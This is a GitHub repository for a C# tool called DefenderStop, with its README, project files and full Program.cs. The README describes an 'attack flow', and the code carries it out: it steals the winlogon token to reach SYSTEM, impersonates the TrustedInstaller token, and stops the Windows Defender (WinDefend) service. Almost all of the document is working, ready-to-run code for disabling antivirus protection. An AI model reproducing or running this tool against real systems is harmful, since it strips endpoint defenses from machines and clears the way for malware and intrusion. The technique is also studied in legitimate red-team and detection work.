├── flow.png
├── usage.png
├── App.config
├── README.md
├── Properties
└── AssemblyInfo.cs
├── DefenderStop.sln
├── DefenderStop.csproj
└── Program.cs
/flow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dosxuz/DefenderStop/HEAD/flow.png
--------------------------------------------------------------------------------
/usage.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dosxuz/DefenderStop/HEAD/usage.png
--------------------------------------------------------------------------------
/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## StopDefenderService
2 |
3 | This is a C# project to stop the defender service using via token impersonation
4 |
5 | ### Methodology
6 |
7 | The WinDefend process can neither be stopped an admin with high privileges nor as the SYSTEM. But it can only be stopped with the privileges of the TrustedInstaller group.
8 |
9 | In this technique, we first steal the token from the WinLogon service, and escalate to SYSTEM integrity. Then we steal the token from the TrustedInstaller service and impersonate it. This will finally allow us to stop the WinDefend service.
10 |
11 | ### Attack Flow
12 |
13 | The following is the diagram of the attack flow. (Source: [Original Blogpost](https://www.securityartwork.es/2021/09/27/trustedinstaller-parando-windows-defender/)).
14 |
15 | 
16 |
17 | Apart from the original functionality, we have also added the Enable Debug Privilege feature, which sets the debug privilege too.
18 |
19 | 
20 |
21 | ### References
22 |
23 | - https://www.securityartwork.es/2021/09/27/trustedinstaller-parando-windows-defender/
24 | - https://github.com/last-byte/DefenderSwitch
25 | - https://github.com/APTortellini/DefenderSwitch
26 | - https://guidedhacking.com/threads/c-sedebugprivilege-adjusttokenprivileges.14926/
27 |
--------------------------------------------------------------------------------
/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("DefenderStop")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("HP Inc.")]
12 | [assembly: AssemblyProduct("DefenderStop")]
13 | [assembly: AssemblyCopyright("Copyright © HP Inc. 2022")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("c3b6c072-4430-4ef3-975e-bde535e7ed42")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/DefenderStop.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.31025.194
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DefenderStop", "DefenderStop.csproj", "{C3B6C072-4430-4EF3-975E-BDE535E7ED42}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Debug|x86 = Debug|x86
13 | Release|Any CPU = Release|Any CPU
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
19 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Debug|Any CPU.Build.0 = Debug|Any CPU
20 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Debug|x64.ActiveCfg = Debug|x64
21 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Debug|x64.Build.0 = Debug|x64
22 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Debug|x86.ActiveCfg = Debug|x86
23 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Debug|x86.Build.0 = Debug|x86
24 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Release|Any CPU.ActiveCfg = Release|Any CPU
25 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Release|Any CPU.Build.0 = Release|Any CPU
26 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Release|x64.ActiveCfg = Release|x64
27 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Release|x64.Build.0 = Release|x64
28 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Release|x86.ActiveCfg = Release|x86
29 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Release|x86.Build.0 = Release|x86
30 | EndGlobalSection
31 | GlobalSection(SolutionProperties) = preSolution
32 | HideSolutionNode = FALSE
33 | EndGlobalSection
34 | GlobalSection(ExtensibilityGlobals) = postSolution
35 | SolutionGuid = {5874FE0D-F998-4B07-AE1F-D1CAF56BF2F2}
36 | EndGlobalSection
37 | EndGlobal
38 |
--------------------------------------------------------------------------------
/DefenderStop.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}
8 | Exe
9 | DefenderStop
10 | DefenderStop
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 | true
57 | bin\x86\Debug\
58 | DEBUG;TRACE
59 | full
60 | x86
61 | 7.3
62 | prompt
63 | true
64 |
65 |
66 | bin\x86\Release\
67 | TRACE
68 | true
69 | pdbonly
70 | x86
71 | 7.3
72 | prompt
73 | true
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
--------------------------------------------------------------------------------
/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.Linq;
5 | using System.Runtime.InteropServices;
6 | using System.Text;
7 | using System.Threading;
8 | using System.Threading.Tasks;
9 |
10 | namespace DefenderStop
11 | {
12 | internal class Program
13 | {
14 | [DllImport("advapi32.dll", SetLastError = true)]
15 | [return: MarshalAs(UnmanagedType.Bool)]
16 | static extern bool OpenProcessToken(IntPtr ProcessHandle,UInt32 DesiredAccess, out IntPtr TokenHandle);
17 | [DllImport("advapi32.dll", SetLastError = true)]
18 | static extern bool RevertToSelf();
19 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
20 | public extern static bool CloseHandle(IntPtr handle);
21 | [DllImport("advapi32.dll", SetLastError = true)]
22 |
23 | static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
24 | [DllImport("advapi32.dll", SetLastError = true)]
25 | static extern bool GetUserName(System.Text.StringBuilder sb, ref Int32 length);
26 |
27 |
28 | public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
29 | public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
30 | public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
31 | public const UInt32 TOKEN_DUPLICATE = 0x0002;
32 | public const UInt32 TOKEN_IMPERSONATE = 0x0004;
33 | public const UInt32 TOKEN_QUERY = 0x0008;
34 | public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
35 | public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;
36 | public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
37 | public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
38 | public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
39 | public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
40 | public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
41 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
42 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
43 | TOKEN_ADJUST_SESSIONID);
44 |
45 |
46 | [Flags]
47 | public enum SERVICE_ACCESS : uint
48 | {
49 | STANDARD_RIGHTS_REQUIRED = 0xF0000,
50 | SERVICE_QUERY_CONFIG = 0x00001,
51 | SERVICE_CHANGE_CONFIG = 0x00002,
52 | SERVICE_QUERY_STATUS = 0x00004,
53 | SERVICE_ENUMERATE_DEPENDENTS = 0x00008,
54 | SERVICE_START = 0x00010,
55 | SERVICE_STOP = 0x00020,
56 | SERVICE_PAUSE_CONTINUE = 0x00040,
57 | SERVICE_INTERROGATE = 0x00080,
58 | SERVICE_USER_DEFINED_CONTROL = 0x00100,
59 | SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED |
60 | SERVICE_QUERY_CONFIG |
61 | SERVICE_CHANGE_CONFIG |
62 | SERVICE_QUERY_STATUS |
63 | SERVICE_ENUMERATE_DEPENDENTS |
64 | SERVICE_START |
65 | SERVICE_STOP |
66 | SERVICE_PAUSE_CONTINUE |
67 | SERVICE_INTERROGATE |
68 | SERVICE_USER_DEFINED_CONTROL)
69 | }
70 | [Flags]
71 | public enum SERVICE_CONTROL : uint
72 | {
73 | STOP = 0x00000001,
74 | PAUSE = 0x00000002,
75 | CONTINUE = 0x00000003,
76 | INTERROGATE = 0x00000004,
77 | SHUTDOWN = 0x00000005,
78 | PARAMCHANGE = 0x00000006,
79 | NETBINDADD = 0x00000007,
80 | NETBINDREMOVE = 0x00000008,
81 | NETBINDENABLE = 0x00000009,
82 | NETBINDDISABLE = 0x0000000A,
83 | DEVICEEVENT = 0x0000000B,
84 | HARDWAREPROFILECHANGE = 0x0000000C,
85 | POWEREVENT = 0x0000000D,
86 | SESSIONCHANGE = 0x0000000E
87 | }
88 |
89 | public enum SERVICE_STATE : uint
90 | {
91 | SERVICE_STOPPED = 0x00000001,
92 | SERVICE_START_PENDING = 0x00000002,
93 | SERVICE_STOP_PENDING = 0x00000003,
94 | SERVICE_RUNNING = 0x00000004,
95 | SERVICE_CONTINUE_PENDING = 0x00000005,
96 | SERVICE_PAUSE_PENDING = 0x00000006,
97 | SERVICE_PAUSED = 0x00000007
98 | }
99 |
100 | [Flags]
101 | public enum SERVICE_ACCEPT : uint
102 | {
103 | STOP = 0x00000001,
104 | PAUSE_CONTINUE = 0x00000002,
105 | SHUTDOWN = 0x00000004,
106 | PARAMCHANGE = 0x00000008,
107 | NETBINDCHANGE = 0x00000010,
108 | HARDWAREPROFILECHANGE = 0x00000020,
109 | POWEREVENT = 0x00000040,
110 | SESSIONCHANGE = 0x00000080,
111 | }
112 |
113 |
114 | [StructLayout(LayoutKind.Sequential)]
115 | public struct SERVICE_STATUS
116 | {
117 | public int serviceType;
118 | public int currentState;
119 | public int controlsAccepted;
120 | public int win32ExitCode;
121 | public int serviceSpecificExitCode;
122 | public int checkPoint;
123 | public int waitHint;
124 | }
125 |
126 | public enum PrivilegeNames
127 | {
128 | SeCreateTokenPrivilege,
129 | SeAssignPrimaryTokenPrivilege,
130 | SeLockMemoryPrivilege,
131 | SeIncreaseQuotaPrivilege,
132 | SeUnsolicitedInputPrivilege,
133 | SeMachineAccountPrivilege,
134 | SeTcbPrivilege,
135 | SeSecurityPrivilege,
136 | SeTakeOwnershipPrivilege,
137 | SeLoadDriverPrivilege,
138 | SeSystemProfilePrivilege,
139 | SeSystemtimePrivilege,
140 | SeProfileSingleProcessPrivilege,
141 | SeIncreaseBasePriorityPrivilege,
142 | SeCreatePagefilePrivilege,
143 | SeCreatePermanentPrivilege,
144 | SeBackupPrivilege,
145 | SeRestorePrivilege,
146 | SeShutdownPrivilege,
147 | SeDebugPrivilege,
148 | SeAuditPrivilege,
149 | SeSystemEnvironmentPrivilege,
150 | SeChangeNotifyPrivilege,
151 | SeRemoteShutdownPrivilege,
152 | SeUndockPrivilege,
153 | SeSyncAgentPrivilege,
154 | SeEnableDelegationPrivilege,
155 | SeManageVolumePrivilege,
156 | SeImpersonatePrivilege,
157 | SeCreateGlobalPrivilege,
158 | SeTrustedCredManAccessPrivilege,
159 | SeRelabelPrivilege,
160 | SeIncreaseWorkingSetPrivilege,
161 | SeTimeZonePrivilege,
162 | SeCreateSymbolicLinkPrivilege
163 | }
164 |
165 | internal struct TokPriv1Luid
166 | {
167 | public int Count;
168 | public long Luid;
169 | public int Attr;
170 | }
171 |
172 | const Int32 ANYSIZE_ARRAY = 1;
173 |
174 | [StructLayout(LayoutKind.Sequential)]
175 | public struct LUID
176 | {
177 | public uint LowPart;
178 | public uint HighPart;
179 | }
180 | [StructLayout(LayoutKind.Sequential, Pack = 4)]
181 | public struct LUID_AND_ATTRIBUTES
182 | {
183 | public LUID Luid;
184 | public UInt32 Attributes;
185 | }
186 | [DllImport("advapi32.dll", SetLastError = true)]
187 | internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
188 |
189 | [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
190 | internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
191 | public static void get_username()
192 | {
193 | StringBuilder Buffer = new StringBuilder(64);
194 | int nSize = 64;
195 | GetUserName(Buffer, ref nSize);
196 | Console.WriteLine(Buffer.ToString());
197 | }
198 |
199 | [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
200 | // establishes a connection to the service control manager on the specified computer
201 | public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
202 | [DllImport("advapi32.dll", EntryPoint = "OpenServiceA", SetLastError = true, CharSet = CharSet.Ansi)]
203 | static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
204 | [DllImport("advapi32", SetLastError = true)]
205 | [return: MarshalAs(UnmanagedType.Bool)]
206 | public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
207 | [DllImport("advapi32.dll", SetLastError = true)]
208 | [return: MarshalAs(UnmanagedType.Bool)]
209 | public static extern bool ControlService(IntPtr hService, SERVICE_CONTROL dwControl, ref SERVICE_STATUS lpServiceStatus);
210 | [DllImport("kernel32.dll", SetLastError = true)]
211 | public static extern IntPtr GetCurrentProcess();
212 | public static void start_trustedinstaller_service()
213 | {
214 | IntPtr SCMHandle = OpenSCManager(null, null, 0xF003F);
215 |
216 | if (SCMHandle == IntPtr.Zero)
217 | {
218 | Console.WriteLine("OpenSCManager failed!");
219 | return;
220 | }
221 | Console.WriteLine("OpenSCManager success!");
222 | string ServiceName = "TrustedInstaller";
223 | IntPtr schService = OpenService(SCMHandle, ServiceName, (uint) SERVICE_ACCESS.SERVICE_START);
224 |
225 | bool bResult = StartService(schService, 0, null);
226 | if (bResult)
227 | {
228 | Console.WriteLine("TrustedInstaller service started!");
229 | }
230 | else
231 | {
232 | Console.WriteLine("TrustedInstaller service cannot be started!");
233 | }
234 |
235 | Thread.Sleep(2000);
236 | CloseHandle(schService);
237 | CloseHandle(SCMHandle);
238 |
239 | }
240 | internal const int SE_PRIVILEGE_DISABLED = 0x00000000;
241 | internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
242 |
243 | public static bool EnableDebugPrivilege()
244 | {
245 | try
246 | {
247 | bool retVal;
248 | TokPriv1Luid tp;
249 | IntPtr hproc = GetCurrentProcess();
250 | IntPtr htok = IntPtr.Zero;
251 | retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out htok);
252 | tp.Count = 1;
253 | tp.Luid = 0;
254 | tp.Attr = SE_PRIVILEGE_ENABLED;
255 | retVal = LookupPrivilegeValue(null, "SeDebugPrivilege", ref tp.Luid);
256 | retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
257 | Console.WriteLine("SeDebugPrivilege enabled: " + retVal);
258 | return true;
259 | }
260 | catch (Exception ex)
261 | {
262 | throw ex;
263 | }
264 |
265 | }
266 |
267 | public static void escalate_to_system()
268 | {
269 | //check if SE_DEBUG_Privilege is enabled
270 | /*bool res = EnableDebugPrivilege();
271 | if (!res)
272 | {
273 | Console.WriteLine("SeDebugPrivilege failed");
274 | Environment.Exit(1);
275 | }*/
276 |
277 | //impersonate using winlogon.exe SYSTEM token
278 | Process[] processlist = Process.GetProcesses();
279 | IntPtr tokenHandle = IntPtr.Zero;
280 | foreach (Process theProcess in processlist)
281 | {
282 | if (theProcess.ProcessName == "winlogon")
283 | {
284 | bool token = OpenProcessToken(theProcess.Handle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out tokenHandle);
285 | if(!token)
286 | {
287 | Console.WriteLine("OpenProcessToken Failed!");
288 | return;
289 | }
290 | else
291 | {
292 | token = ImpersonateLoggedOnUser(tokenHandle);
293 | Console.Write("User after impersonation: ");
294 | get_username();
295 | }
296 | CloseHandle(theProcess.Handle);
297 | }
298 | }
299 | CloseHandle(tokenHandle);
300 |
301 | }
302 |
303 | public static void escalate_to_trustedinstaller()
304 | {
305 | //impersonate using trustedintaller.exe token
306 | Process[] processlist = Process.GetProcesses();
307 | IntPtr tokenHandle = IntPtr.Zero;
308 | foreach (Process theProcess in processlist)
309 | {
310 | if (theProcess.ProcessName == "TrustedInstaller")
311 | {
312 | bool token = OpenProcessToken(theProcess.Handle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out tokenHandle);
313 | if (!token)
314 | {
315 | Console.WriteLine("OpenProcessToken Failed!");
316 | return;
317 | }
318 | else
319 | {
320 | token = ImpersonateLoggedOnUser(tokenHandle);
321 | Console.Write("Trusted Installer impersonated!");
322 | }
323 | CloseHandle(theProcess.Handle);
324 | }
325 | }
326 | CloseHandle(tokenHandle);
327 |
328 | }
329 |
330 | public static void stop_defender_service()
331 | {
332 | IntPtr SCMHandle = OpenSCManager(null, null, 0xF003F);
333 | if (SCMHandle == IntPtr.Zero)
334 | {
335 | Console.WriteLine("OpenSCManager failed!");
336 | return;
337 | }
338 | Console.WriteLine("OpenSCManager success!");
339 | string ServiceName = "WinDefend";
340 | IntPtr schService = OpenService(SCMHandle, ServiceName, (uint) (SERVICE_ACCESS.SERVICE_STOP | SERVICE_ACCESS.SERVICE_QUERY_STATUS | SERVICE_ACCESS.SERVICE_ENUMERATE_DEPENDENTS));
341 | SERVICE_STATUS ssp = new SERVICE_STATUS();
342 | bool bResult = ControlService(schService, SERVICE_CONTROL.STOP, ref ssp);
343 | if (bResult)
344 | {
345 | Console.WriteLine("Windefender service stopped!");
346 | }
347 | else
348 | {
349 | Console.WriteLine("Windefender service cannot be stopped!");
350 | }
351 |
352 | Thread.Sleep(2000);
353 | CloseHandle(schService);
354 | CloseHandle(SCMHandle);
355 | }
356 |
357 | public static void Main(string[] args)
358 | {
359 | Console.Write("Original user:");
360 | get_username();
361 | start_trustedinstaller_service();
362 | escalate_to_system();
363 | escalate_to_trustedinstaller();
364 | stop_defender_service();
365 |
366 | }
367 | }
368 | }
369 |
--------------------------------------------------------------------------------